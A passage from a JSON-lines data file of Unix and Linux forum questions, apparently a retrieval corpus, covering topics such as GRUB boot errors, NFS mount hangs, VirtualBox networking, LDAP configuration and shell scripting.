patches are there."} {"_id": "20447", "title": "How to enter Erlang Mode in Emacs?", "text": "How do I enter erlang mode in emacs to get code highlighting, etc.? Whenever I open an erlang file nothing special happens. Do I need to change something in my `.emacs` file, or do I need to add a module to emacs, or something else?"} {"_id": "45744", "title": "Custom resolution in Fedora 11", "text": "I am currently building a custom embedded project for which I need to display Fedora 11 on a small screen 800*480 pixels. Can anyone one suggest to me a way of doing it. As I am a complete noob I tried to change the `.conf` file of xorg server but it is of no help. Also it is not updating. Also can anyone tell how to update the packages as currently package updating is not working."} {"_id": "27493", "title": "What's the best way to count the number of files in a directory?", "text": "If parsing the output of `ls` is dangerous because it can break on some funky characters (spaces, `\\n`, ... ), what's the best way to know the number of files in a directory? I usualy rely on `find` to avoid this parsing, but similarly, `find mydir | wc -l` will break for the same reasons. I'm working on Solaris right now, but I'm looking for a answer as portable across different unices and different shells as possible."} {"_id": "9241", "title": "Permissions: What's the right way to give Apache more user permissions?", "text": "Context: I am making an in-browser control panel that gives me one button access to a library of scripts (.sh and .php) that I've written to process various kinds of data for a project. It's a \"one stop shop\" for managing data for this project. I've made good progress. I have apache, PHP and MySQL running, and I have my front end up at http://localhost. Good so far! Now the problem I'm having: I have an index.php which works fine, except the default apache user (which on my machine is called \"_www\") seemingly doesn't have permissions to run some of my scripts. So when I do: I get the output of `ls` and `whoami`, but I get nothing back from the custom script. If I run the custom script as me (in an interactive shell), of course it works. Finally, my question: What's the _right_ way to configure this. Have the webserver run as me? Or change permissions so that _www can run my custom scripts? Thanks in advance for any help. I'm not an advanced Unix user, so sorry if this is a dumb question!"} {"_id": "45741", "title": "Why do I have GRUB and GRUB2 in my boot directory?", "text": "I'm running F17 and my boot directory has grub and grub2. Why do I need both of these? I thought only one grub was required to boot. Does each one have specific properties?"} {"_id": "125323", "title": "Grub error 15 (file not found)", "text": "I'm trying to fix a problem with a new installation. I'm running this existing distro (Ubuntu) from `/dev/sdb` with a new OS, Gentoo, installed on `/dev/sda`. I'm glad I took the trouble of setting these up on different disks because I can't boot into the new OS. All I get is grub error 15 \"File not found\". It also gives the UUID which I have verified is correct: sudo blkid /dev/sda1: LABEL=\"boot\" UUID=\"b891774a-0b2d-4ab4-bcfa-23a11a97cae5\" TYPE=\"ext2\" /dev/sda2: UUID=\"fc34999a-e85d-4c7b-8775-30510eb4c396\" TYPE=\"swap\" /dev/sda3: LABEL=\"main\" UUID=\"65a90a0d-a651-4215-8552-0c1859ab61dd\" TYPE=\"ext4\" The menu.lst (on `/dev/sdb`) for the new OS is title Gentoo Linux 3.10.7-r1 uuid b891774a-0b2d-4ab4-bcfa-23a11a97cae5 #root (hd0,0) kernel /kernel-3.10.7-gentoo root=UUID=65a90a0d-a651-4215-8552-0c1859ab61dd I also tried kernel /boot/kernel-3.10.7-gentoo root=UUID=65a90a0d-a651-4215-8552-0c1859ab61dd but since the UUID goes directly to the boot partition I think this is wrong. The kernel should be correct; if I mount `dev/sda1` and `ls` I see grub kernel-3.10.7-gentoo Any ideas what I'm doing wrong? It might be very basic; I've only been using Linux for a few years and never Gentoo except for a few days in a `chroot`. * * * I should mention I also have grub2 installed on `dev/sda1` though I don't get as far there: it just shows the grub 'command line'."} {"_id": "45743", "title": "Why can't I navigate into my Documents directory?", "text": "I'm in bash and running F17 as su. My `pwd` is /home/user and when I `ls` I see Desktop Documents Downloads Music Pictures Public Templates Videos However, I'm unable to `cd` into any of these. My error is bash: cd: Desktop: No such file or directory How come?"} {"_id": "122827", "title": "mailx and HP-UX to RedHat migration", "text": "We are migrating some servers from HP-UX to Linux RedHat, and we have to migrate about 100 shell scripts that are referencing /usr/bin/mailx (instead of /bin/mailx on Linux). We'd like to change all the 100 scripts (from /usr/bin/mailx to /bin/mailx) only if this is the last option. Are there better ways of doing this? P.S.: our system administrators don't want to create a symbolic lynk \"/usr/bin/mailx\" pointing to /bin/mailx (I didn't understand why, actually). Thanks in advance."} {"_id": "123055", "title": "Transparent encryption of bash history?", "text": "I'm not sure if anyone has done such things before. I want bash history to be fully encrypted, prompt for password when in interactive session. Is that possible?"} {"_id": "122823", "title": "Changed background on Kali Linux and now desktop is buggy", "text": "I have been running the latest version of Kali Linux for about a month now. I got tired of seeing the default Kali Linux login screen, so I looked up how to change it. The answer I found said: > Go to `/roor/usr/share/images` and then delete the image file labeled > `login-desktop.png` and replace it with a png image of your choice. > > After which change the replacement image name to `login-desktop.png` and > reboot. I did exactly as recommended, but when I rebooted the desktop environment was odd. There was no toolbar on the top or bottom, and windows were missing the default bar on them with Minimize, Maximize, and Close buttons. What happened?"} {"_id": "45749", "title": "Archbang look on Archlinux", "text": "I installed archlinux but I want to get the look and feel of Archbang. Is there a way to find the config files or scripts for Archbang? http://bbs.archbang.org/viewtopic.php?id=2501 gives a list of packages but I also want the resources and quick ref of key bindings in the background, menus, default application and other things I don't know about. The reason I don't want to install Archbang is because I want to follow the Arch Way. the reason I want Archbang config files is because people already thought about usability and solved that problem for me. I like their solution."} {"_id": "99411", "title": "Why a sleep 300 (5 minutes) can last several hours some time?", "text": "I have a MiniMac with the OSX system. My script is: while true do echo \"Sleep 300 seconds = 5 minutes\" date sleep 300 echo \"end of sleep\" date done I want it to repeat every 5 minutes; but some time it is suspending for several hours when it does this \"sleep 300\", here is the result: Sleep 300 seconds = 5 minutes Fri Nov 8 15:52:49 CET 2013 end of sleep Fri Nov 8 15:57:49 CET 2013 Sleep 300 seconds = 5 minutes Fri Nov 8 15:57:49 CET 2013 end of sleep Fri Nov 8 16:02:49 CET 2013 Sleep 300 seconds = 5 minutes Fri Nov 8 16:02:49 CET 2013 end of sleep Fri Nov 8 16:20:59 CET 2013 Sleep 300 seconds = 5 minutes Fri Nov 8 16:20:59 CET 2013 Sleep 300 seconds = 5 minutes Fri Nov 8 15:52:49 CET 2013 end of sleep"} {"_id": "99413", "title": "Can the kernel be moved to a different mtd while the system is running?", "text": "I am attempting to do a full update on a mobile `Linux Arm` device. I have successfully pivoted my file system root and have been able to flash a new file system to that mtd. What I would like to accomplish now is something similar for the kernel. I am wondering if it is possible to perhaps pivot the kernel to another mtd or even perhaps the RAM. Or maybe there is some other method I am overlooking? Any insight to avenues I could use would be greatly appreciated!"} {"_id": "99415", "title": "virtual box debian guest with nat & host-only adapters: 'No route to host' when trying to access host from guest", "text": "I have just set up a Debian guest inside VirtualBox, on a Fedora host. I use two adapters: NAT (internet for the guest, which works fine) and host-only (`ssh` from host to guest, `nfs`, etc.). I am able to `ssh` from host to guest, but not the other way around. Actually, except `ping` and `traceroute`, which both give results, all other network related tools give the error: 'No route to host'. Some information: The host IP is 192.168.29.1. axirma@dev:~$ ip addr 1: lo: mtu 16436 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 08:00:27:25:1f:71 brd ff:ff:ff:ff:ff:ff inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 inet6 fe80::a00:27ff:fe25:1f71/64 scope link valid_lft forever preferred_lft forever 3: eth1: mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 08:00:27:6d:16:e6 brd ff:ff:ff:ff:ff:ff inet 192.168.29.2/24 brd 192.168.29.255 scope global eth1 inet6 fe80::a00:27ff:fe6d:16e6/64 scope link valid_lft forever preferred_lft forever axirma@dev:~$ ip route default via 10.0.2.2 dev eth0 10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 192.168.29.0/24 dev eth1 proto kernel scope link src 192.168.29.2 axirma@dev:~$ ip route get 192.168.29.1 192.168.29.1 dev eth1 src 192.168.29.2 cache ipid 0x1910 rtt 7ms rttvar 7ms cwnd 10 axirma@dev:~$ arp Address HWtype HWaddress Flags Mask Iface 10.0.2.2 ether 52:54:00:12:35:02 C eth0 host ether 0a:00:27:00:00:00 C eth1 axirma@dev:~$ ping -c 4 192.168.29.1 PING 192.168.29.1 (192.168.29.1) 56(84) bytes of data. 64 bytes from 192.168.29.1: icmp_req=1 ttl=64 time=0.247 ms 64 bytes from 192.168.29.1: icmp_req=2 ttl=64 time=0.403 ms 64 bytes from 192.168.29.1: icmp_req=3 ttl=64 time=0.446 ms 64 bytes from 192.168.29.1: icmp_req=4 ttl=64 time=0.636 ms --- 192.168.29.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3003ms rtt min/avg/max/mdev = 0.247/0.433/0.636/0.138 ms axirma@dev:~$ traceroute 192.169.29.1 traceroute to 192.168.29.1 (192.168.29.1), 30 hops max, 60 byte packets 1 host (192.168.29.1) 0.152 ms !X 0.141 ms !X 0.143 ms !X axirma@dev:~$ nc -vz 192.168.29.1 22 host [192.168.29.1] 22 (ssh) : No route to host axirma@dev:~$ ssh alexandru@192.168.29.1 ssh: connect to host 192.168.29.1 port 22: No route to host Please let me know if I can provide additional information."} {"_id": "99417", "title": "Hang during 'touch' operation on NFS mount", "text": "I have two NFS clients mounted to an openfiler 2.99 NFS share at 192.0.2.3: * 192.0.2.1 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share01` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,noacl,nocto,tcp,nfsvers=3` * 192.0.2.1 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share02` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,nfsvers=3,tcp,noacl,nocto` * 192.0.2.2 mounts `192.0.2.3:/mnt/nfs01/volnfs01/share02` with `rw,noatime,nodiratime,hard,rsize=32768,wsize=32768,nfsvers=3,tcp,noacl,nocto` ### `touch` broken My problem is with 192.0.2.2's NFS mount. When I touch a file in on that mount, the process hangs indefinitely... I used `strace touch /mnt/share02/this` and got this far... rt_sigaction(SIGRTMIN, {0x3b71c05ae0, [], SA_RESTORER|SA_SIGINFO, 0x3b71c0f500}, NULL, 8) = 0 rt_sigaction(SIGRT_1, {0x3b71c05b70, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x3b71c0f500}, NULL, 8) = 0 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0 brk(0) = 0xafb000 brk(0xb1c000) = 0xb1c000 open(\"/usr/lib/locale/locale-archive\", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=99158576, ...}) = 0 mmap(NULL, 99158576, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fce244c0000 close(3) = 0 open(\"/mnt/share02/this\", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666 ^^^ stops touching | | When I check `ps -elf` from another terminal, I see the process in \"D\" state... [mpenning@host192_0_2_2 ~]$ ps -elf | awk '$2==\"D\"' 0 D mpenning 8157 8032 0 80 0 - 26293 rpc_wa 09:59 pts/2 00:00:00 touch /mnt/share02/this [mpenning@host192_0_2_2 ~]$ `showmount` isn't finding a problem though.... [mpenning@host192_0_2_2 ~]$ showmount -e 192.0.2.3 Export list for 192.0.2.3: /mnt/nfs01/volnfs01/share01 192.0.2.2/255.255.255.255,192.0.2.1/255.255.255.255 /mnt/nfs01/volnfs01/share02 192.0.2.2/255.255.255.255,192.0.2.1/255.255.255.255 [mpenning@host192_0_2_2 ~]$ Various status of NFS services... [mpenning@host192_0_2_2 ~]$ service nfs status rpc.svcgssd is stopped rpc.mountd (pid 9168) is running... nfsd (pid 9232 9231 9230 9229 9228 9227 9226 9225) is running... rpc.rquotad (pid 9164) is running... [mpenning@host192_0_2_2 ~]$ service rpcbind status rpcbind (pid 9088) is running... [mpenning@host192_0_2_2 ~]$ service nfslock status rpc.statd (pid 9256) is running... [mpenning@host192_0_2_2 ~]$ Network configuration (default gw isn't required since this is a dedicated layer2 NFS vlan): [mpenning@host192_0_2_2 ~]$ sudo cat /etc/sysconfig/network-scripts/ifcfg-eth1 DEVICE=eth1 NM_CONTROLLED=no ONBOOT=yes BOOTPROTO=none IPADDR=192.0.2.2 NETMASK=255.255.255.0 DNS2=none TYPE=Ethernet GATEWAY= DNS1=none IPV6INIT=no USERCTL=no MTU=9000 [mpenning@host192_0_2_2 ~]$ This looks pretty nasty. I have done the following on 192.0.2.2: * Restarted all NFS * `init 6` the machine * `ping 192.0.2.3` to make sure it still has connectivity to the server * Checked dmesg * Checked `showmount -e 192.0.2.3` This feels like a permissions problem, but I don't know where to go from here... How can I fix this problem so I can read / write to any file on 192.0.2.2's mount of `192.0.2.3:/mnt/nfs01/volnfs01/share02`? * * * ### `touch` works If I execute the same `touch` command from 192.0.2.1, everything is fine... rt_sigaction(SIGRTMIN, {0xb096e0, [], SA_SIGINFO}, NULL, 8) = 0 rt_sigaction(SIGRT_1, {0xb09b80, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0 uname({sys=\"Linux\", node=\"host192_0_2_1.localdomain.local\", ...}) = 0 brk(0) = 0x8d4d000 brk(0x8d6e000) = 0x8d6e000 open(\"/usr/lib/locale/locale-archive\", O_RDONLY|O_LARGEFILE) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=99158544, ...}) = 0 mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7574000 close(3) = 0 open(\"/mnt/share02/this\", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK|O_LARGEFILE, 0666) = 3 dup2(3, 0) = 0 close(3) = 0 utimensat(0, NULL, NULL, 0) = 0 close(0) = 0 close(1) = 0 close(2) = 0 exit_group(0) = ? ### `/etc/exports` from 192.0.2.3 [root@T1-Netfile01 backups]# head /etc/exports # PLEASE DO NOT MODIFY THIS CONFIGURATION FILE! # This configuration file was autogenerated # by Openfiler. Any manual changes will be overwritten # Generated at: Fri Nov 8 9:35:39 CST 2013 /mnt/nfs01/volnfs01/share02 192.0.2.1/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync) 192.0.2.2/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync) /mnt/nfs01/volnfs01/share01 192.0.2.1/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync) 192.0.2.2/255.255.255.255(rw,anonuid=96,anongid=96,secure,root_squash,wdelay,sync) [root@T1-Netfile01 backups]#"} {"_id": "63095", "title": "bind backslash to a non-standard keyboard key", "text": "I am using a swiss apple keyboard at the moment. This keyboard requires some unreasonable finger acrobatics to type a backslash (shift+right alt+7). I'd like to bind the backslash to another key combination, specifically shift+4, which right now produces a \"\u00e7\" which I never need. Has anybody done something like that? I don't have any idea how to do that and I have not found any help yet. I use Linux mint xcfe. Thanks in advance for your help."} {"_id": "9289", "title": "Automounting in KDE-3.5.10 without HAL", "text": "community! I have Gentoo(amd64) installed with KDE-3.5.10 desktop from kde- sunset overlay. Recently I have upgraded xorg-server from 1.7 to 1.9 and now want to extinguish hal completly. The only reason that stops me is the device detection. I don't know how to get automounting working in KDE-3.5.10 without HAL. Oh, and K3B too. Installed version is 1.0.5. The only packages which uses \"hal\" USE flag are: # equery h hal [ Searching for USE flag hal in all categories among: ] * installed packages [I--] [ ] kde-base/kdebase-kioslaves-3.5.10-r1 (3.5) [I--] [ ] app-cdr/k3b-1.0.5-r6 (3.5) and they certainly can be compiled without \"hal\" flag. But then automounting stops working and when I insert USB flash drive there is no pop-up window. Of course I can still mount it manually, but it feels uncomfortable. Didn't check if K3B can find recording device when compiled without \"hal\" USE flag, though. But suspect there could be difficulties too."} {"_id": "63092", "title": "Failed to start slapd in CentOS", "text": "I was trying to setup an LDAP server for my development. For this purpose, I have chose CentOS 6.3 install it in VirtualBox host in Fedora 17. I'm following this tutorial to guide me on this setup, anyhow when I start the service using this command `service slapd start`, I got this error: Checking configuration files for slapd: [FAILED] /etc/openldap/slapd.conf: line 9: bad config line. slaptest: bad configuration file! I'm sure I have this file `/etc/openldap/slapd.conf` to the owner of ldap. May I know any idea to rectified this problem? **UPDATE** I have extract the first few lines of text from `slapd.conf`, looking at `line 9`, that is an empty line. # # See slapd.conf(5) for details on configuration options. # This file should NOT be world readable. # include /etc/openldap/schema/core.schema include /etc/openldap/schema/cosine.schema include /etc/openldap/schema/inetorgperson.schema include /etc/openldap/schema/nis.schema # Added for policy include /etc/openldap/schema/ppolicy.schema # Allow LDAPv2 client connections. This is NOT the default. allow bind_v2 # Do not enable referrals until AFTER you have a working directory # service AND an understanding of referrals. #referral ldap://root.openldap.org pidfile /var/run/openldap/slapd.pid argsfile /var/run/openldap/slapd.args"} {"_id": "9285", "title": "stty: : Invalid argument", "text": "I am telnet-ing into a Solaris machine and I'm getting the above error with my scripts. I realize this is a common problem, and the solution is to check for the line 'stty erase ^H' within my profile, but I can't find it. .profile doesn't have any references to stty, and I don't have a .cshrc anywhere. I performed a grep in my home directory, but I came up with nothing. Is there another source of this problem? All the solutions online refer to either .profile or .cshrc. Thanks."} {"_id": "125329", "title": "How to take incremental backup in tape drive", "text": "I am having 1 tape drive and I want to take incremental backup of 5 folder to the tape drive on every Friday. But the location of the five folders are on one server and the LTO mounted on a different machine. How can I make the backups."} {"_id": "9286", "title": "Are certain parts of startup scripts necessary or just good practice?", "text": "I'm currently exploring creating a startup script in the form of a system process located in the /etc/init.d/ on my Fedora 14 Linux installation. It sounds like the following two lines are bare minimum requirements? #!/bin/bash # chkconfig: 345 85 15 (however on this one I've seen different combos) What's the purpose of these lines? Is there a good resource that would help me understand how to better create these and other header lines for such a file?"} {"_id": "63098", "title": "mkdir -p for files", "text": "`mkdir -p` will create a directory; it will also make parent directories as needed. Does a similar command exist for files, that will create a file and parent directories as needed?"} {"_id": "78258", "title": "Need to get the latest file with date timestamp for each month", "text": "I am just starting with Unix programming and I have a requirement. I have four files which are placed in my landing zone and I need the scheduler to pick up the latest file of that month and year. For example: FILE_NR_WEEKLY_01_20130528_CHARGE FILE_NR_WEEKLY_01_20130530_CHARGE--> This needs to be picked 1st for may month FILE_NR_WEEKLY_01_20130601_CHARGE FILE_NR_WEEKLY_01_20130604_CHARGE -->This needs to be picked up for June month In the above case for that year, month and date combination, I need to get the latest file."} {"_id": "126665", "title": "Can swap be encrypted per user?", "text": "The problem arises for a multiuser computer with encrypted swap, as to how to allow each user to hibernate and resume from hibernation without compromising the security of the other users. I'm looking for a way in which each user's swap usage is encrypted specifically for them, such that when they want to resume from hibernation they can do so by entering only _their_ password/passphrase. They should not be able to decrypt other users' swap; all users' processes must be stopped until the respective user can provide their passphrase to decrypt their swap and continue their processes. Users may wish for some or all of their processes to be unencrypted so that they can continue regardless of who resumes the computer. As long as no personal data is stored in system processes and the system doesn't let users' keys hit swap, then the system's swap doesn't need to be encrypted, and that means that any user can resume the system without compromising other users. Note that this could be complemented by encrypting the system with a key stored in BIOS firmware such as Coreboot or LibreBoot to make tampering very difficult, but this is a fundamentally different approach based on the apparent difficulty of tampering with the hardware involved rather than a complete cryptographic approach to preventing people from reading personal data of others assuming tampering is not an issue. For optimal security, these two mechanisms could be used together, but in this question, I'm asking for the fully cryptographic approach. In theory it makes sense, but in practice it may not be implemented. I hope that this is possible in Linux."} {"_id": "78250", "title": "Can I install a distro to one partition while using a distro installed on another?", "text": "I currently have two partitions with Linux distros installed on them. I am currently using one with Mint 14, and you could call the other deprecated. I just found out about the release of Mint 15, and I want to install it over the deprecated distro so I can try it out. Since I don't want to go through the trouble of writing it to a disk and installing it normally, I was wondering if there was a way I could install it by using tools in my running distro while I do something else. EDIT: the reason I don't want to try it live is because that won't give me a good impression of what it will be like to use it on a regular basis. Running it from a CD is orders of magnitude slower, doesn't allow full configuration, and gets wiped when you're done. I would rather avoid installing normally because it's tedious and it locks up my entire computer while it's happening. I realize that I might have to, but that's why I'm asking this: to find out. As for clarifying my question, I don't know how much more explicit I can get without actually knowing the answer. I want to download the disc image, then start a process in my current system that will transfer the files to a different partition so that the result is similar to running the installer. Like (taking this from Wikipedia) Wubi + LVPM, but with Mint."} {"_id": "126664", "title": "/proc/pid/maps addresses (and converting them)", "text": "When looking at the memory maps in /proc/pid/maps, we can see different length addresses 00400000-0042e000 r-xp 00000000 fb:01 268953 /bin/nano 0062e000-0062f000 r--p 0002e000 fb:01 268953 /bin/nano 0062f000-00630000 rw-p 0002f000 fb:01 268953 /bin/nano 0081e000-00906000 rw-p 00000000 00:00 0 [heap] 7f8313e5c000-7f8314109000 rw-p 00000000 fb:01 2399989 /usr/share/misc/magic.mgc 7f8314109000-7f83142ce000 r--p 00000000 fb:01 2759354 /usr/lib64/locale/locale-archive 7f83142ce000-7f83142d1000 r-xp 00000000 fb:01 1457046 /lib64/libdl-2.17.so 7f83142d1000-7f83144d0000 ---p 00003000 fb:01 1457046 /lib64/libdl-2.17.so We have addresses with 8 digits length like: * 00400000-0042e000 And ones with 12 digits length (last 3 digits are always 0): * 7f8313e5c000-7f8314109000 My question is, why are those addresses formated this way, and can i convert them to 8 digits length?"} {"_id": "109509", "title": "How to search XTerm console history?", "text": "Is there some way to search XTerm's console history interactively, like `Ctrl`+`Shift`+`f` in GNOME Terminal and Terminator? I could run `script` in my `.bashrc` or possibly even patch XTerm, but it would be nice to know if there is already some shortcut or configuration setting to do this _without_ heavily modifying my runtime environment. A way to save the entire scrollback buffer in a single operation (that is, without copying every page of it with a mouse) would be an OK fallback."} {"_id": "109503", "title": "Apache, svn at the root of domain with one exception", "text": "I want to setup SVN in such a way that svn.domain.com/ directly lists SVN repositories. To be able to make the web view nicer I am using an SVNIndexXSLT. But I have to serve this file somehow to the end-user. So I want to setup a location (`/repos-web` for example) that will serve files, instead of svn. I currently have the following configuration: ServerName svn.domain.com DocumentRoot /home/user/svn/svnweb ErrorLog ${APACHE_LOG_DIR}/error.log AuthType Basic AuthName \"Authentication required\" AuthUserFile \"myauthfile\" Require valid-user order allow,deny allow from all DAV svn SVNParentPath /home/user/svn/repositories SVNListParentPath on SVNIndexXSLT \"/repos-web/view/repos.xsl\" DAV off But http://svn.domain.com/repos-web simply returns: > Could not open the requested SVN filesystem I tried changing the `` in `` but this did not help at all. Of course one solution would be to serve the xslt file over another domain/subdomain, but this is more a workaround than solution."} {"_id": "109502", "title": "LUKS - changing passphrase with /dev/mapper/fedora-root", "text": "I would like to change my passphrase in LUKS, so I started with typing `mount | grep 'on / '`. The result was `/dev/mapper/fedora-root on / type ext4 (rw,relatime,seclabel,data=ordered)`. So next as usual I typed `sudo cryptsetup status fedora-root` to get info about partition. But unfortunately I got no result and operation returned 1. `sudo cryptsetup --verbose status fedora-root` says `Command failed with code 22: Invalid argument`. Why the behaviour is so strange? What is the way to change LUKS password in that case?"} {"_id": "109505", "title": "Virtualbox user home directory", "text": "I have a tiny problem. I want to avoid VirtualBox from creating `/home/$USER/.VirtualBox` directory and create another directory like `/home/$USER/DIR` instead to put the log files etc there. I tried to export `$VBOX_USER_HOME` variable in my `.bashrc` so it is set in my shell and also used the `vboxmanage setproperty machinefolder /home/amin/DIR` command but VirtualBox still creates `.VirtualBox` directory under `/home/$USER`. Is there any other way to achive this or am I doing something wrong here?"} {"_id": "10206", "title": "Sniffing packets through router", "text": "I would like to create a system like this. ![enter image description here](http://gyazo.com/45210b1932d7140cdc160b3a672173c6.png) The user would connect through a wifi network which would reroute all http requests and responses through the network card on a computer thus allowing that computer to sniff the packets. I have debian running on the computer. How would i go about doing this?"} {"_id": "53415", "title": "Why are 64-bit distros often called 'amd64'?", "text": "I am downloading an ISO image of Lubuntu; they have two versions: 32 and 64. But why do they call the 64 version **amd64** since they say that it works for Intel also?"} {"_id": "53412", "title": "changing the partition of a linux", "text": "I have a ubuntu system as a virtual system on Virtual Box. It uses VHD as its hard disk. I manged to change the size of VHD using VHD resizer, now I want to expand the partition on vhd so it uses the expanded size. How can I do this?"} {"_id": "10200", "title": "Manipulating a file with sed", "text": "I have a file called `students.txt` and it contains the following data in the format `Surname, Forename: day.month.year: Degree`: Smith, John: 15.01.1986: MSc IT Taylor, Susan: 04.05.1987: MSc IT Thomas, Steve: 19.04.1986: MSc MIT Sennick, Joseph: 01.12.1987: MSc IT I'm trying to return all lines in the format `Forename,Surname: day.month.year`, but without the `MSc` degree being studied. So far I have: sed -e 's/\\(.*\\),(.*\\)/\\2/\\1/' students.txt What's wrong with that?"} {"_id": "10209", "title": "How to upgrade Fedora Core 3?", "text": "I want to upgrade from fedora core 3 to latest release without using a cd. I have internet connection. Is it possible to use `yum` to upgrade the OS entirely to the latest version? At present there are no `.repo` files in my `/etc/yum.repos.d/` directory. So I could not use the `yum` command. How to get the necessary repository and to upgrade the OS?"} {"_id": "63322", "title": "How do I know if my SSD is SLC or MLC?", "text": "I have 3 SSDs on my server. How can I tell if they are SLC or MLC?"} {"_id": "63320", "title": "Bandwidth, CPU & Memory stats returned in single line from terminal", "text": "I'm trying to create a simple monitoring system that will show a graph of sales that is linked entirely to data of bandwidth, CPU and Memory stats as they relate to sales. So if I sale 1 widget per 5 seconds, that will be contingent upon my bandwidth etc being above a certain threshold. So I've formulated a way to do the graph but I'm just having a time getting the stats. I can use any of a number of monitoring systems but I just need 1 line for bandwidth, CPU Usage, and Memory Usage once per second. I made a python script that gets all the IP information from all interfaces. But for if I had a script I could run from terminal that simply output a single line I could just pipe that to a file and then access the file to run my real time graph. So for network I can use: $ ifconfig I pipe it into a json file for easy reference. I can use: $ free -m for memory which I suppose I can pipe into a file as well Then I could use: $ cat /proc/loadavg for CPU and again pipe that. Is there an easier way to do this? So that I receive a single line for each command and can easily (more importantly quickly) send that information via Javascript or HTML5 FileReader to the graphing solution?"} {"_id": "63327", "title": "How should I partition my hard drive?", "text": "* Xubuntu 12.10 * XFCE with Greybird theme Hello, this is my GParted screenshot: ![enter image description here](http://i.stack.imgur.com/6RquT.png) Could anyone please give my any advice on how to make changes to have more space available for use in Linux? Let's say I manage to take 10 GB out of the `/dev/sda3` partition which is currently formatted in ntfs, how would I proceed then?"} {"_id": "63325", "title": "Cannot load font true and no console access in Fedora", "text": "When I boot Fedora 17 this error appears: Cannot open font file True I found this question Cannot open font file True, but the person who faced the problem in that question can access the console. In my case I can't access anything! Can I use external live system like live Ubuntu to fix this problem? If \"yes\" what should I do exactly?"} {"_id": "63324", "title": "set VM IP address to be the same every time from DHCP on CentOS 5.6", "text": "I have an issue where, each time I start my CentOS 5.6 VM, DHCP (I believe) is allocating my VM a different IP. I have the VM mapped as a Samba share in Windows 7 and this changes between 192.168.0.8, 192.168.0.9 and 192.168.0.10 each time meaning I have to mount a new drive in Windows each time. This is also frustrating as I have to update my hosts file to point to a different IP each time and any projects I have pointing to the Samba share in my IDE are also gone. Is there a way that I can set the IP to be the same each time in the Devernet Configuration under the `setup` tool in CentOS? [root@dev ~]# ip a 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo 2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 08:00:27:f2:9f:d6 brd ff:ff:ff:ff:ff:ff inet 192.168.0.8/24 brd 192.168.0.255 scope global eth0 Here is a screenshot of the Devernet Configuration under the `setup` utility in CentOS. I had Use DHCP _on_ , but I have turned it off in this screenshot. ![enter image description here](http://i.stack.imgur.com/TeOQ0.gif)"} {"_id": "63328", "title": "Is it possible to store ssh connection in bash script instead of $(ssh user@ip command) every time?", "text": "I think that the code that I already have is not very efficient as it has to connect each time to the same machine and execute a command. Code: tmp=$(ssh -nq $USER@$IP \"$COMMAND\" 2>> $LOG) tmp1=$(ssh -nq $USER@$IP \"$COMMAND1\" 2>> $LOG) tmp2=$(ssh -nq $USER@$IP \"$COMMAND2\" 2>> $LOG) tmp3=$(ssh -nq $USER@$IP \"$COMMAND3\" 2>> $LOG) Where `$COMMAND` in most of the cases is some kind of `grep`. Can I somehow store the ssh connection or refactor the code so it won't connect each time to the machine ?"} {"_id": "37969", "title": "Route VPN gateway traffic via tun0 instead of normal gateway", "text": "On my Linux box, I have a tun0 interface by IPIP tunnel like: tun0 Link encap:IPIP Tunnel HWaddr inet addr:10.10.10.2 P-t-P:10.10.10.1 Mask:255.255.255.255 and I running an IPsec VPN server (ipsec-tools) on this box. How can I route all VPN traffic through the tun0 interface on the server (like Openswan's leftnexthop )?"} {"_id": "147228", "title": "How to properly start and stop shell script in linux, busybox?", "text": "I am trying to write a small shell script that would send some commands to my tv set from my set top box that has busybox on it. The problem is that it generates huge amount of zombie processes, and when I try to killall, I kill also some audio processes, that should not be killed... Here are my scripts: tvstart.sh #!/bin/sh echo \"ka 1 01\" > /dev/ttyUSB0 read -t 5 response < /dev/ttyUSB0 echo \"xb 1 70\" > /dev/ttyUSB0 read -t 2 response < /dev/ttyUSB0 echo \"kf 1 32\" > /dev/ttyUSB0 read -t 2 response < /dev/ttyUSB0 echo \"km 1 01\" > /dev/ttyUSB0 #killall sh tvstop.sh #!/bin/sh echo \"ka 1 00\" > /dev/ttyUSB0 #killall sh And I call them like this(part of the script): case \"$1\" in led-on) echo 3 > /sys/class/leds/mag-front-led/mode nohup sh /home/default/tvstop.sh & ;; led-off) echo 2 > /sys/class/leds/mag-front-led/mode nohup sh /home/default/tvstart.sh & ;; So, how do I terminate them properly? this is how zombies looks like: 3637 root Z [sh] 3660 root Z [sh] 3696 root Z [sh] 3719 root Z [sh] 3751 root Z [sh] 3766 root Z [sh] 3798 root Z [sh] 3829 root Z [sh] 3913 root Z [sh] 3984 root Z [sh] 4489 root 6960 S sshd: root@pts/0 4533 root 2704 S -sh 10478 root Z [sh] 